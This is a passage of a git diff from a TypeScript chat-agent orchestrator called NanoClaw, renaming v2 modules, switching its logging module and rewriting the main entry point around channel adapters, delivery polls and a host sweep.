'./session-manager.js'; -import { resetContainerIdleTimer } from './container-runner-v2.js'; +import { resetContainerIdleTimer } from './container-runner.js'; import type { OutboundFile } from './channels/adapter.js'; -import type { Session } from './types-v2.js'; +import type { Session } from './types.js'; const ACTIVE_POLL_MS = 1000; const SWEEP_POLL_MS = 60_000; diff --git a/src/env.ts b/src/env.ts index 064e6f8..e04b4f4 100644 --- a/src/env.ts +++ b/src/env.ts @@ -1,6 +1,6 @@ import fs from 'fs'; import path from 'path'; -import { logger } from './logger.js'; +import { log } from './log.js'; /** * Parse the .env file and return values for the requested keys. @@ -14,7 +14,7 @@ export function readEnvFile(keys: string[]): Record { try { content = fs.readFileSync(envFile, 'utf-8'); } catch (err) { - logger.debug({ err }, '.env file not found, using defaults'); + log.debug('.env file not found, using defaults', { err }); return {}; } diff --git a/src/host-core.test.ts b/src/host-core.test.ts index 960e3a6..03ddd98 100644 --- a/src/host-core.test.ts +++ b/src/host-core.test.ts @@ -25,10 +25,10 @@ import { sessionsBaseDir, } from './session-manager.js'; import { getSession, findSession } from './db/sessions.js'; -import type { InboundEvent } from './router-v2.js'; +import type { InboundEvent } from './router.js'; // Mock container runner to prevent actual Docker spawning -vi.mock('./container-runner-v2.js', () => ({ +vi.mock('./container-runner.js', () => ({ wakeContainer: vi.fn().mockResolvedValue(undefined), resetContainerIdleTimer: vi.fn(), isContainerRunning: vi.fn().mockReturnValue(false), @@ -202,8 +202,8 @@ describe('router', () => { }); it('should route a message end-to-end', async () => { - const { routeInbound } = await import('./router-v2.js'); - const { wakeContainer } = await import('./container-runner-v2.js'); + const { routeInbound } = await import('./router.js'); + const { wakeContainer } = await import('./container-runner.js'); const event: InboundEvent = { channelType: 'discord', @@ -237,7 +237,7 @@ describe('router', () => { }); it('should auto-create messaging group for unknown platform', async () => { - const { routeInbound } = await import('./router-v2.js'); + const { routeInbound } = await import('./router.js'); // This platform ID isn't registered — but since there's no agent configured for it, // it should create the messaging group but not route (no agents configured) @@ -262,7 +262,7 @@ describe('router', () => { }); it('should route multiple messages to the same session', async () => { - const { routeInbound } = await import('./router-v2.js'); + const { routeInbound } = await import('./router.js'); await routeInbound({ channelType: 'discord', diff --git a/src/host-sweep.ts b/src/host-sweep.ts index d93d821..26a926f 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -13,8 +13,8 @@ import { getActiveSessions, updateSession } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; import { openSessionDb, sessionDbPath } from './session-manager.js'; -import { wakeContainer, isContainerRunning } from './container-runner-v2.js'; -import type { Session } from './types-v2.js'; +import { wakeContainer, isContainerRunning } from './container-runner.js'; +import type { Session } from './types.js'; const SWEEP_INTERVAL_MS = 60_000; const STALE_THRESHOLD_MS = 10 * 60 * 1000; // 10 minutes diff --git a/src/index-v2.ts b/src/index-v2.ts deleted file mode 100644 index a72540b..0000000 --- a/src/index-v2.ts +++ /dev/null @@ -1,180 +0,0 @@ -/** - * NanoClaw v2 — main entry point. - * - * Thin orchestrator: init DB, run migrations, start channel adapters, - * start delivery polls, start sweep, handle shutdown. - */ -import path from 'path'; - -import { DATA_DIR } from './config.js'; -import { initDb } from './db/connection.js'; -import { runMigrations } from './db/migrations/index.js'; -import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messaging-groups.js'; -import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; -import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; -import { startHostSweep, stopHostSweep } from './host-sweep.js'; -import { routeInbound } from './router-v2.js'; -import { getPendingQuestion, deletePendingQuestion, getSession } from './db/sessions.js'; -import { writeSessionMessage } from './session-manager.js'; -import { wakeContainer } from './container-runner-v2.js'; -import { log } from './log.js'; - -// Channel imports — each triggers self-registration -import './channels/discord-v2.js'; - -import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; -import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; - -async function main(): Promise { - log.info('NanoClaw v2 starting'); - - // 1. Init central DB - const dbPath = path.join(DATA_DIR, 'v2.db'); - const db = initDb(dbPath); - runMigrations(db); - log.info('Central DB ready', { path: dbPath }); - - // 2. Container runtime - ensureContainerRuntimeRunning(); - cleanupOrphans(); - - // 3. Channel adapters - await initChannelAdapters((adapter: ChannelAdapter): ChannelSetup => { - const conversations = buildConversationConfigs(adapter.channelType); - return { - conversations, - onInbound(platformId, threadId, message) { - routeInbound({ - channelType: adapter.channelType, - platformId, - threadId, - message: { - id: message.id, - kind: message.kind, - content: JSON.stringify(message.content), - timestamp: message.timestamp, - }, - }).catch((err) => { - log.error('Failed to route inbound message', { channelType: adapter.channelType, err }); - }); - }, - onMetadata(platformId, name, isGroup) { - log.info('Channel metadata discovered', { - channelType: adapter.channelType, - platformId, - name, - isGroup, - }); - }, - onAction(questionId, selectedOption, userId) { - handleQuestionResponse(questionId, selectedOption, userId).catch((err) => { - log.error('Failed to handle question response', { questionId, err }); - }); - }, - }; - }); - - // 4. Delivery adapter bridge — dispatches to channel adapters - setDeliveryAdapter({ - async deliver(channelType, platformId, threadId, kind, content, files) { - const adapter = getChannelAdapter(channelType); - if (!adapter) { - log.warn('No adapter for channel type', { channelType }); - return; - } - await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); - }, - async setTyping(channelType, platformId, threadId) { - const adapter = getChannelAdapter(channelType); - await adapter?.setTyping?.(platformId, threadId); - }, - }); - - // 5. Start delivery polls - startActiveDeliveryPoll(); - startSweepDeliveryPoll(); - log.info('Delivery polls started'); - - // 6. Start host sweep - startHostSweep(); - log.info('Host sweep started'); - - log.info('NanoClaw v2 running'); -} - -/** Build ConversationConfig[] for a channel type from the central DB. */ -function buildConversationConfigs(channelType: string): ConversationConfig[] { - const groups = getMessagingGroupsByChannel(channelType); - const configs: ConversationConfig[] = []; - - for (const mg of groups) { - const agents = getMessagingGroupAgents(mg.id); - for (const agent of agents) { - const triggerRules = agent.trigger_rules ? JSON.parse(agent.trigger_rules) : null; - configs.push({ - platformId: mg.platform_id, - agentGroupId: agent.agent_group_id, - triggerPattern: triggerRules?.pattern, - requiresTrigger: triggerRules?.requiresTrigger ?? false, - sessionMode: agent.session_mode, - }); - } - } - - return configs; -} - -/** Handle a user's response to an ask_user_question card. */ -async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { - const pq = getPendingQuestion(questionId); - if (!pq) { - log.warn('Pending question not found (may have expired)', { questionId }); - return; - } - - const session = getSession(pq.session_id); - if (!session) { - log.warn('Session not found for pending question', { questionId, sessionId: pq.session_id }); - deletePendingQuestion(questionId); - return; - } - - // Write the response to the session DB as a system message - writeSessionMessage(session.agent_group_id, session.id, { - id: `qr-${questionId}-${Date.now()}`, - kind: 'system', - timestamp: new Date().toISOString(), - platformId: pq.platform_id, - channelType: pq.channel_type, - threadId: pq.thread_id, - content: JSON.stringify({ - type: 'question_response', - questionId, - selectedOption, - userId, - }), - }); - - deletePendingQuestion(questionId); - log.info('Question response routed', { questionId, selectedOption, sessionId: session.id }); - - // Wake the container so the MCP tool's poll picks up the response - await wakeContainer(session); -} - -/** Graceful shutdown. */ -async function shutdown(signal: string): Promise { - log.info('Shutdown signal received', { signal }); - stopDeliveryPolls(); - stopHostSweep(); - await teardownChannelAdapters(); - process.exit(0); -} - -process.on('SIGTERM', () => shutdown('SIGTERM')); -process.on('SIGINT', () => shutdown('SIGINT')); - -main().catch((err) => { - log.fatal('Startup failed', { err }); - process.exit(1); -}); diff --git a/src/index.ts b/src/index.ts index ded6b94..03bc093 100644 --- a/src/index.ts +++ b/src/index.ts @@ -1,647 +1,180 @@ -import fs from 'fs'; +/** + * NanoClaw v2 — main entry point. + * + * Thin orchestrator: init DB, run migrations, start channel adapters, + * start delivery polls, start sweep, handle shutdown. + */ import path from 'path'; -import { OneCLI } from '@onecli-sh/sdk'; +import { DATA_DIR } from './config.js'; +import { initDb } from './db/connection.js'; +import { runMigrations } from './db/migrations/index.js'; +import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messaging-groups.js'; +import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; +import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; +import { startHostSweep, stopHostSweep } from './host-sweep.js'; +import { routeInbound } from './router.js'; +import { getPendingQuestion, deletePendingQuestion, getSession } from './db/sessions.js'; +import { writeSessionMessage } from './session-manager.js'; +import { wakeContainer } from './container-runner.js'; +import { log } from './log.js'; -import { - ASSISTANT_NAME, - DEFAULT_TRIGGER, - getTriggerPattern, - GROUPS_DIR, - IDLE_TIMEOUT, - MAX_MESSAGES_PER_PROMPT, - ONECLI_URL, - POLL_INTERVAL, - TIMEZONE, -} from './config.js'; -import './channels/index.js'; -import { getChannelFactory, getRegisteredChannelNames } from './channels/registry.js'; -import { ContainerOutput, runContainerAgent, writeGroupsSnapshot, writeTasksSnapshot } from './container-runner.js'; -import { cleanupOrphans, ensureContainerRuntimeRunning } from './container-runtime.js'; -import { - getAllChats, - getAllRegisteredGroups, - getAllSessions, - deleteSession, - getAllTasks, - getLastBotMessageTimestamp, - getMessagesSince, - getNewMessages, - getRouterState, - initDatabase, - setRegisteredGroup, - setRouterState, - setSession, - storeChatMetadata, - storeMessage, -} from './db.js'; -import { GroupQueue } from './group-queue.js'; -import { resolveGroupFolderPath } from './group-folder.js'; -import { startIpcWatcher } from './ipc.js'; -import { findChannel, formatMessages, formatOutbound } from './router.js'; -import { restoreRemoteControl, startRemoteControl, stopRemoteControl } from './remote-control.js'; -import { isSenderAllowed, isTriggerAllowed, loadSenderAllowlist, shouldDropMessage } from './sender-allowlist.js'; -import { startSessionCleanup } from './session-cleanup.js'; -import { startSchedulerLoop } from './task-scheduler.js'; -import { Channel, NewMessage, RegisteredGroup } from './types.js'; -import { logger } from './logger.js'; +// Channel imports — each triggers self-registration +import './channels/discord.js'; -// Re-export for backwards compatibility during refactor -export { escapeXml, formatMessages } from './router.js'; - -let lastTimestamp = ''; -let sessions: Record = {}; -let registeredGroups: Record = {}; -let lastAgentTimestamp: Record = {}; -let messageLoopRunning = false; - -const channels: Channel[] = []; -const queue = new GroupQueue(); - -const onecli = new OneCLI({ url: ONECLI_URL }); - -function ensureOneCLIAgent(jid: string, group: RegisteredGroup): void { - if (group.isMain) return; - const identifier = group.folder.toLowerCase().replace(/_/g, '-'); - onecli.ensureAgent({ name: group.name, identifier }).then( - (res) => { - logger.info({ jid, identifier, created: res.created }, 'OneCLI agent ensured'); - }, - (err) => { - logger.debug({ jid, identifier, err: String(err) }, 'OneCLI agent ensure skipped'); - }, - ); -} - -function loadState(): void { - lastTimestamp = getRouterState('last_timestamp') || ''; - const agentTs = getRouterState('last_agent_timestamp'); - try { - lastAgentTimestamp = agentTs ? JSON.parse(agentTs) : {}; - } catch { - logger.warn('Corrupted last_agent_timestamp in DB, resetting'); - lastAgentTimestamp = {}; - } - sessions = getAllSessions(); - registeredGroups = getAllRegisteredGroups(); - logger.info({ groupCount: Object.keys(registeredGroups).length }, 'State loaded'); -} - -/** - * Return the message cursor for a group, recovering from the last bot reply - * if lastAgentTimestamp is missing (new group, corrupted state, restart). - */ -function getOrRecoverCursor(chatJid: string): string { - const existing = lastAgentTimestamp[chatJid]; - if (existing) return existing; - - const botTs = getLastBotMessageTimestamp(chatJid, ASSISTANT_NAME); - if (botTs) { - logger.info({ chatJid, recoveredFrom: botTs }, 'Recovered message cursor from last bot reply'); - lastAgentTimestamp[chatJid] = botTs; - saveState(); - return botTs; - } - return ''; -} - -function saveState(): void { - setRouterState('last_timestamp', lastTimestamp); - setRouterState('last_agent_timestamp', JSON.stringify(lastAgentTimestamp)); -} - -function registerGroup(jid: string, group: RegisteredGroup): void { - let groupDir: string; - try { - groupDir = resolveGroupFolderPath(group.folder); - } catch (err) { - logger.warn({ jid, folder: group.folder, err }, 'Rejecting group registration with invalid folder'); - return; - } - - registeredGroups[jid] = group; - setRegisteredGroup(jid, group); - - // Create group folder - fs.mkdirSync(path.join(groupDir, 'logs'), { recursive: true }); - - // Copy CLAUDE.md template into the new group folder so agents have - // identity and instructions from the first run. (Fixes #1391) - const groupMdFile = path.join(groupDir, 'CLAUDE.md'); - if (!fs.existsSync(groupMdFile)) { - const templateFile = path.join(GROUPS_DIR, group.isMain ? 'main' : 'global', 'CLAUDE.md'); - if (fs.existsSync(templateFile)) { - let content = fs.readFileSync(templateFile, 'utf-8'); - if (ASSISTANT_NAME !== 'Andy') { - content = content.replace(/^# Andy$/m, `# ${ASSISTANT_NAME}`); - content = content.replace(/You are Andy/g, `You are ${ASSISTANT_NAME}`); - } - fs.writeFileSync(groupMdFile, content); - logger.info({ folder: group.folder }, 'Created CLAUDE.md from template'); - } - } - - // Ensure a corresponding OneCLI agent exists (best-effort, non-blocking) - ensureOneCLIAgent(jid, group); - - logger.info({ jid, name: group.name, folder: group.folder }, 'Group registered'); -} - -/** - * Get available groups list for the agent. - * Returns groups ordered by most recent activity. - */ -export function getAvailableGroups(): import('./container-runner.js').AvailableGroup[] { - const chats = getAllChats(); - const registeredJids = new Set(Object.keys(registeredGroups)); - - return chats - .filter((c) => c.jid !== '__group_sync__' && c.is_group) - .map((c) => ({ - jid: c.jid, - name: c.name, - lastActivity: c.last_message_time, - isRegistered: registeredJids.has(c.jid), - })); -} - -/** @internal - exported for testing */ -export function _setRegisteredGroups(groups: Record): void { - registeredGroups = groups; -} - -/** - * Process all pending messages for a group. - * Called by the GroupQueue when it's this group's turn. - */ -async function processGroupMessages(chatJid: string): Promise { - const group = registeredGroups[chatJid]; - if (!group) return true; - - const channel = findChannel(channels, chatJid); - if (!channel) { - logger.warn({ chatJid }, 'No channel owns JID, skipping messages'); - return true; - } - - const isMainGroup = group.isMain === true; - - const missedMessages = getMessagesSince( - chatJid, - getOrRecoverCursor(chatJid), - ASSISTANT_NAME, - MAX_MESSAGES_PER_PROMPT, - ); - - if (missedMessages.length === 0) return true; - - // For non-main groups, check if trigger is required and present - if (!isMainGroup && group.requiresTrigger !== false) { - const triggerPattern = getTriggerPattern(group.trigger); - const allowlistCfg = loadSenderAllowlist(); - const hasTrigger = missedMessages.some( - (m) => - triggerPattern.test(m.content.trim()) && (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), - ); - if (!hasTrigger) return true; - } - - const prompt = formatMessages(missedMessages, TIMEZONE); - - // Advance cursor so the piping path in startMessageLoop won't re-fetch - // these messages. Save the old cursor so we can roll back on error. - const previousCursor = lastAgentTimestamp[chatJid] || ''; - lastAgentTimestamp[chatJid] = missedMessages[missedMessages.length - 1].timestamp; - saveState(); - - logger.info({ group: group.name, messageCount: missedMessages.length }, 'Processing messages'); - - // Track idle timer for closing stdin when agent is idle - let idleTimer: ReturnType | null = null; - - const resetIdleTimer = () => { - if (idleTimer) clearTimeout(idleTimer); - idleTimer = setTimeout(() => { - logger.debug({ group: group.name }, 'Idle timeout, closing container stdin'); - queue.closeStdin(chatJid); - }, IDLE_TIMEOUT); - }; - - await channel.setTyping?.(chatJid, true); - let hadError = false; - let outputSentToUser = false; - - const output = await runAgent(group, prompt, chatJid, async (result) => { - // Streaming output callback — called for each agent result - if (result.result) { - const raw = typeof result.result === 'string' ? result.result : JSON.stringify(result.result); - // Strip ... blocks — agent uses these for internal reasoning - const text = raw.replace(/[\s\S]*?<\/internal>/g, '').trim(); - logger.info({ group: group.name }, `Agent output: ${raw.length} chars`); - if (text) { - await channel.sendMessage(chatJid, text); - outputSentToUser = true; - } - // Only reset idle timer on actual results, not session-update markers (result: null) - resetIdleTimer(); - } - - if (result.status === 'success') { - queue.notifyIdle(chatJid); - } - - if (result.status === 'error') { - hadError = true; - } - }); - - await channel.setTyping?.(chatJid, false); - if (idleTimer) clearTimeout(idleTimer); - - if (output === 'error' || hadError) { - // If we already sent output to the user, don't roll back the cursor — - // the user got their response and re-processing would send duplicates. - if (outputSentToUser) { - logger.warn( - { group: group.name }, - 'Agent error after output was sent, skipping cursor rollback to prevent duplicates', - ); - return true; - } - // Roll back cursor so retries can re-process these messages - lastAgentTimestamp[chatJid] = previousCursor; - saveState(); - logger.warn({ group: group.name }, 'Agent error, rolled back message cursor for retry'); - return false; - } - - return true; -} - -async function runAgent( - group: RegisteredGroup, - prompt: string, - chatJid: string, - onOutput?: (output: ContainerOutput) => Promise, -): Promise<'success' | 'error'> { - const isMain = group.isMain === true; - const sessionId = sessions[group.folder]; - - // Update tasks snapshot for container to read (filtered by group) - const tasks = getAllTasks(); - writeTasksSnapshot( - group.folder, - isMain, - tasks.map((t) => ({ - id: t.id, - groupFolder: t.group_folder, - prompt: t.prompt, - script: t.script || undefined, - schedule_type: t.schedule_type, - schedule_value: t.schedule_value, - status: t.status, - next_run: t.next_run, - })), - ); - - // Update available groups snapshot (main group only can see all groups) - const availableGroups = getAvailableGroups(); - writeGroupsSnapshot(group.folder, isMain, availableGroups, new Set(Object.keys(registeredGroups))); - - // Wrap onOutput to track session ID from streamed results - const wrappedOnOutput = onOutput - ? async (output: ContainerOutput) => { - if (output.newSessionId) { - sessions[group.folder] = output.newSessionId; - setSession(group.folder, output.newSessionId); - } - await onOutput(output); - } - : undefined; - - try { - const output = await runContainerAgent( - group, - { - prompt, - sessionId, - groupFolder: group.folder, - chatJid, - isMain, - assistantName: ASSISTANT_NAME, - }, - (proc, containerName) => queue.registerProcess(chatJid, proc, containerName, group.folder), - wrappedOnOutput, - ); - - if (output.newSessionId) { - sessions[group.folder] = output.newSessionId; - setSession(group.folder, output.newSessionId); - } - - if (output.status === 'error') { - // Detect stale/corrupt session — clear it so the next retry starts fresh. - // The session .jsonl can go missing after a crash mid-write, manual - // deletion, or disk-full. The existing backoff in group-queue.ts - // handles the retry; we just need to remove the broken session ID. - const isStaleSession = - sessionId && output.error && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(output.error); - - if (isStaleSession) { - logger.warn( - { group: group.name, staleSessionId: sessionId, error: output.error }, - 'Stale session detected — clearing for next retry', - ); - delete sessions[group.folder]; - deleteSession(group.folder); - } - - logger.error({ group: group.name, error: output.error }, 'Container agent error'); - return 'error'; - } - - return 'success'; - } catch (err) { - logger.error({ group: group.name, err }, 'Agent error'); - return 'error'; - } -} - -async function startMessageLoop(): Promise { - if (messageLoopRunning) { - logger.debug('Message loop already running, skipping duplicate start'); - return; - } - messageLoopRunning = true; - - logger.info(`NanoClaw running (default trigger: ${DEFAULT_TRIGGER})`); - - while (true) { - try { - const jids = Object.keys(registeredGroups); - const { messages, newTimestamp } = getNewMessages(jids, lastTimestamp, ASSISTANT_NAME); - - if (messages.length > 0) { - logger.info({ count: messages.length }, 'New messages'); - - // Advance the "seen" cursor for all messages immediately - lastTimestamp = newTimestamp; - saveState(); - - // Deduplicate by group - const messagesByGroup = new Map(); - for (const msg of messages) { - const existing = messagesByGroup.get(msg.chat_jid); - if (existing) { - existing.push(msg); - } else { - messagesByGroup.set(msg.chat_jid, [msg]); - } - } - - for (const [chatJid, groupMessages] of messagesByGroup) { - const group = registeredGroups[chatJid]; - if (!group) continue; - - const channel = findChannel(channels, chatJid); - if (!channel) { - logger.warn({ chatJid }, 'No channel owns JID, skipping messages'); - continue; - } - - const isMainGroup = group.isMain === true; - const needsTrigger = !isMainGroup && group.requiresTrigger !== false; - - // For non-main groups, only act on trigger messages. - // Non-trigger messages accumulate in DB and get pulled as - // context when a trigger eventually arrives. - if (needsTrigger) { - const triggerPattern = getTriggerPattern(group.trigger); - const allowlistCfg = loadSenderAllowlist(); - const hasTrigger = groupMessages.some( - (m) => - triggerPattern.test(m.content.trim()) && - (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), - ); - if (!hasTrigger) continue; - } - - // Pull all messages since lastAgentTimestamp so non-trigger - // context that accumulated between triggers is included. - const allPending = getMessagesSince( - chatJid, - getOrRecoverCursor(chatJid), - ASSISTANT_NAME, - MAX_MESSAGES_PER_PROMPT, - ); - const messagesToSend = allPending.length > 0 ? allPending : groupMessages; - const formatted = formatMessages(messagesToSend, TIMEZONE); - - if (queue.sendMessage(chatJid, formatted)) { - logger.debug({ chatJid, count: messagesToSend.length }, 'Piped messages to active container'); - lastAgentTimestamp[chatJid] = messagesToSend[messagesToSend.length - 1].timestamp; - saveState(); - // Show typing indicator while the container processes the piped message - channel - .setTyping?.(chatJid, true) - ?.catch((err) => logger.warn({ chatJid, err }, 'Failed to set typing indicator')); - } else { - // No active container — enqueue for a new one - queue.enqueueMessageCheck(chatJid); - } - } - } - } catch (err) { - logger.error({ err }, 'Error in message loop'); - } - await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL)); - } -} - -/** - * Startup recovery: check for unprocessed messages in registered groups. - * Handles crash between advancing lastTimestamp and processing messages. - */ -function recoverPendingMessages(): void { - for (const [chatJid, group] of Object.entries(registeredGroups)) { - const pending = getMessagesSince(chatJid, getOrRecoverCursor(chatJid), ASSISTANT_NAME, MAX_MESSAGES_PER_PROMPT); - if (pending.length > 0) { - logger.info({ group: group.name, pendingCount: pending.length }, 'Recovery: found unprocessed messages'); - queue.enqueueMessageCheck(chatJid); - } - } -} - -function ensureContainerSystemRunning(): void { - ensureContainerRuntimeRunning(); - cleanupOrphans(); -} +import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; +import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; async function main(): Promise { - ensureContainerSystemRunning(); - initDatabase(); - logger.info('Database initialized'); - loadState(); + log.info('NanoClaw v2 starting'); - // Ensure OneCLI agents exist for all registered groups. - // Recovers from missed creates (e.g. OneCLI was down at registration time). - for (const [jid, group] of Object.entries(registeredGroups)) { - ensureOneCLIAgent(jid, group); - } + // 1. Init central DB + const dbPath = path.join(DATA_DIR, 'v2.db'); + const db = initDb(dbPath); + runMigrations(db); + log.info('Central DB ready', { path: dbPath }); - restoreRemoteControl(); + // 2. Container runtime + ensureContainerRuntimeRunning(); + cleanupOrphans(); - // Graceful shutdown handlers - const shutdown = async (signal: string) => { - logger.info({ signal }, 'Shutdown signal received'); - await queue.shutdown(10000); - for (const ch of channels) await ch.disconnect(); - process.exit(0); - }; - process.on('SIGTERM', () => shutdown('SIGTERM')); - process.on('SIGINT', () => shutdown('SIGINT')); + // 3. Channel adapters + await initChannelAdapters((adapter: ChannelAdapter): ChannelSetup => { + const conversations = buildConversationConfigs(adapter.channelType); + return { + conversations, + onInbound(platformId, threadId, message) { + routeInbound({ + channelType: adapter.channelType, + platformId, + threadId, + message: { + id: message.id, + kind: message.kind, + content: JSON.stringify(message.content), + timestamp: message.timestamp, + }, + }).catch((err) => { + log.error('Failed to route inbound message', { channelType: adapter.channelType, err }); + }); + }, + onMetadata(platformId, name, isGroup) { + log.info('Channel metadata discovered', { + channelType: adapter.channelType, + platformId, + name, + isGroup, + }); + }, + onAction(questionId, selectedOption, userId) { + handleQuestionResponse(questionId, selectedOption, userId).catch((err) => { + log.error('Failed to handle question response', { questionId, err }); + }); + }, + }; + }); - // Handle /remote-control and /remote-control-end commands - async function handleRemoteControl(command: string, chatJid: string, msg: NewMessage): Promise { - const group = registeredGroups[chatJid]; - if (!group?.isMain) { - logger.warn({ chatJid, sender: msg.sender }, 'Remote control rejected: not main group'); - return; - } - - const channel = findChannel(channels, chatJid); - if (!channel) return; - - if (command === '/remote-control') { - const result = await startRemoteControl(msg.sender, chatJid, process.cwd()); - if (result.ok) { - await channel.sendMessage(chatJid, result.url); - } else { - await channel.sendMessage(chatJid, `Remote Control failed: ${result.error}`); - } - } else { - const result = stopRemoteControl(); - if (result.ok) { - await channel.sendMessage(chatJid, 'Remote Control session ended.'); - } else { - await channel.sendMessage(chatJid, result.error); - } - } - } - - // Channel callbacks (shared by all channels) - const channelOpts = { - onMessage: (chatJid: string, msg: NewMessage) => { - // Remote control commands — intercept before storage - const trimmed = msg.content.trim(); - if (trimmed === '/remote-control' || trimmed === '/remote-control-end') { - handleRemoteControl(trimmed, chatJid, msg).catch((err) => - logger.error({ err, chatJid }, 'Remote control command error'), - ); + // 4. Delivery adapter bridge — dispatches to channel adapters + setDeliveryAdapter({ + async deliver(channelType, platformId, threadId, kind, content, files) { + const adapter = getChannelAdapter(channelType); + if (!adapter) { + log.warn('No adapter for channel type', { channelType }); return; } - - // Sender allowlist drop mode: discard messages from denied senders before storing - if (!msg.is_from_me && !msg.is_bot_message && registeredGroups[chatJid]) { - const cfg = loadSenderAllowlist(); - if (shouldDropMessage(chatJid, cfg) && !isSenderAllowed(chatJid, msg.sender, cfg)) { - if (cfg.logDenied) { - logger.debug({ chatJid, sender: msg.sender }, 'sender-allowlist: dropping message (drop mode)'); - } - return; - } - } - storeMessage(msg); + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); }, - onChatMetadata: (chatJid: string, timestamp: string, name?: string, channel?: string, isGroup?: boolean) => - storeChatMetadata(chatJid, timestamp, name, channel, isGroup), - registeredGroups: () => registeredGroups, - }; + async setTyping(channelType, platformId, threadId) { + const adapter = getChannelAdapter(channelType); + await adapter?.setTyping?.(platformId, threadId); + }, + }); - // Create and connect all registered channels. - // Each channel self-registers via the barrel import above. - // Factories return null when credentials are missing, so unconfigured channels are skipped. - for (const channelName of getRegisteredChannelNames()) { - const factory = getChannelFactory(channelName)!; - const channel = factory(channelOpts); - if (!channel) { - logger.warn( - { channel: channelName }, - 'Channel installed but credentials missing — skipping. Check .env or re-run the channel skill.', - ); - continue; + // 5. Start delivery polls + startActiveDeliveryPoll(); + startSweepDeliveryPoll(); + log.info('Delivery polls started'); + + // 6. Start host sweep + startHostSweep(); + log.info('Host sweep started'); + + log.info('NanoClaw v2 running'); +} + +/** Build ConversationConfig[] for a channel type from the central DB. */ +function buildConversationConfigs(channelType: string): ConversationConfig[] { + const groups = getMessagingGroupsByChannel(channelType); + const configs: ConversationConfig[] = []; + + for (const mg of groups) { + const agents = getMessagingGroupAgents(mg.id); + for (const agent of agents) { + const triggerRules = agent.trigger_rules ? JSON.parse(agent.trigger_rules) : null; + configs.push({ + platformId: mg.platform_id, + agentGroupId: agent.agent_group_id, + triggerPattern: triggerRules?.pattern, + requiresTrigger: triggerRules?.requiresTrigger ?? false, + sessionMode: agent.session_mode, + }); } - channels.push(channel); - await channel.connect(); - } - if (channels.length === 0) { - logger.fatal('No channels connected'); - process.exit(1); } - // Start subsystems (independently of connection handler) - startSchedulerLoop({ - registeredGroups: () => registeredGroups, - getSessions: () => sessions, - queue, - onProcess: (groupJid, proc, containerName, groupFolder) => - queue.registerProcess(groupJid, proc, containerName, groupFolder), - sendMessage: async (jid, rawText) => { - const channel = findChannel(channels, jid); - if (!channel) { - logger.warn({ jid }, 'No channel owns JID, cannot send message'); - return; - } - const text = formatOutbound(rawText); - if (text) await channel.sendMessage(jid, text); - }, - }); - startIpcWatcher({ - sendMessage: (jid, text) => { - const channel = findChannel(channels, jid); - if (!channel) throw new Error(`No channel for JID: ${jid}`); - return channel.sendMessage(jid, text); - }, - registeredGroups: () => registeredGroups, - registerGroup, - syncGroups: async (force: boolean) => { - await Promise.all(channels.filter((ch) => ch.syncGroups).map((ch) => ch.syncGroups!(force))); - }, - getAvailableGroups, - writeGroupsSnapshot: (gf, im, ag, rj) => writeGroupsSnapshot(gf, im, ag, rj), - onTasksChanged: () => { - const tasks = getAllTasks(); - const taskRows = tasks.map((t) => ({ - id: t.id, - groupFolder: t.group_folder, - prompt: t.prompt, - script: t.script || undefined, - schedule_type: t.schedule_type, - schedule_value: t.schedule_value, - status: t.status, - next_run: t.next_run, - })); - for (const group of Object.values(registeredGroups)) { - writeTasksSnapshot(group.folder, group.isMain === true, taskRows); - } - }, - }); - startSessionCleanup(); - queue.setProcessMessagesFn(processGroupMessages); - recoverPendingMessages(); - startMessageLoop().catch((err) => { - logger.fatal({ err }, 'Message loop crashed unexpectedly'); - process.exit(1); - }); + return configs; } -// Guard: only run when executed directly, not when imported by tests -const isDirectRun = - process.argv[1] && new URL(import.meta.url).pathname === new URL(`file://${process.argv[1]}`).pathname; +/** Handle a user's response to an ask_user_question card. */ +async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { + const pq = getPendingQuestion(questionId); + if (!pq) { + log.warn('Pending question not found (may have expired)', { questionId }); + return; + } -if (isDirectRun) { - main().catch((err) => { - logger.error({ err }, 'Failed to start NanoClaw'); - process.exit(1); + const session = getSession(pq.session_id); + if (!session) { + log.warn('Session not found for pending question', { questionId, sessionId: pq.session_id }); + deletePendingQuestion(questionId); + return; + } + + // Write the response to the session DB as a system message + writeSessionMessage(session.agent_group_id, session.id, { + id: `qr-${questionId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: pq.platform_id, + channelType: pq.channel_type, + threadId: pq.thread_id, + content: JSON.stringify({ + type: 'question_response', + questionId, + selectedOption, + userId, + }), }); + + deletePendingQuestion(questionId); + log.info('Question response routed', { questionId, selectedOption, sessionId: session.id }); + + // Wake the container so the MCP tool's poll picks up the response + await wakeContainer(session); } + +/** Graceful shutdown. */ +async function shutdown(signal: string): Promise { + log.info('Shutdown signal received', { signal }); + stopDeliveryPolls(); + stopHostSweep(); + await teardownChannelAdapters(); + process.exit(0); +} + +process.on('SIGTERM', () => shutdown('SIGTERM')); +process.on('SIGINT', () => shutdown('SIGINT')); + +main().catch((err) => { + log.fatal('Startup failed', { err }); + process.exit(1); +}); diff --git a/src/mount-security.ts b/src/mount-security.ts index c44620c..cea550a 100644 --- a/src/mount-security.ts +++ b/src/mount-security.ts @@ -10,8 +10,25 @@ import fs from 'fs'; 